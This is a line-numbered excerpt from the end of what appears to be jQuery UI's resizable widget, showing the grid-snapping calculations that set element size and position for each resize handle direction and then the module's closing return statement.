1180 if ( isMaxHeight ) {
1181 newHeight -= gridY;
1182 }
1183
1184 if ( /^(se|s|e)$/.test( a ) ) {
1185 that.size.width = newWidth;
1186 that.size.height = newHeight;
1187 } else if ( /^(ne)$/.test( a ) ) {
1188 that.size.width = newWidth;
1189 that.size.height = newHeight;
1190 that.position.top = op.top - oy;
1191 } else if ( /^(sw)$/.test( a ) ) {
1192 that.size.width = newWidth;
1193 that.size.height = newHeight;
1194 that.position.left = op.left - ox;
1195 } else {
1196 if ( newHeight - gridY <= 0 || newWidth - gridX <= 0 ) {
1197 outerDimensions = that._getPaddingPlusBorderDimensions( this );
1198 }
1199
1200 if ( newHeight - gridY > 0 ) {
1201 that.size.height = newHeight;
1202 that.position.top = op.top - oy;
1203 } else {
1204 newHeight = gridY - outerDimensions.height;
1205 that.size.height = newHeight;
1206 that.position.top = op.top + os.height - newHeight;
1207 }
1208 if ( newWidth - gridX > 0 ) {
1209 that.size.width = newWidth;
1210 that.position.left = op.left - ox;
1211 } else {
1212 newWidth = gridX - outerDimensions.width;
1213 that.size.width = newWidth;
1214 that.position.left = op.left + os.width - newWidth;
1215 }
1216 }
1217 }
1218
1219} );
1220
1221return $.ui.resizable;
1222
1223} );
1224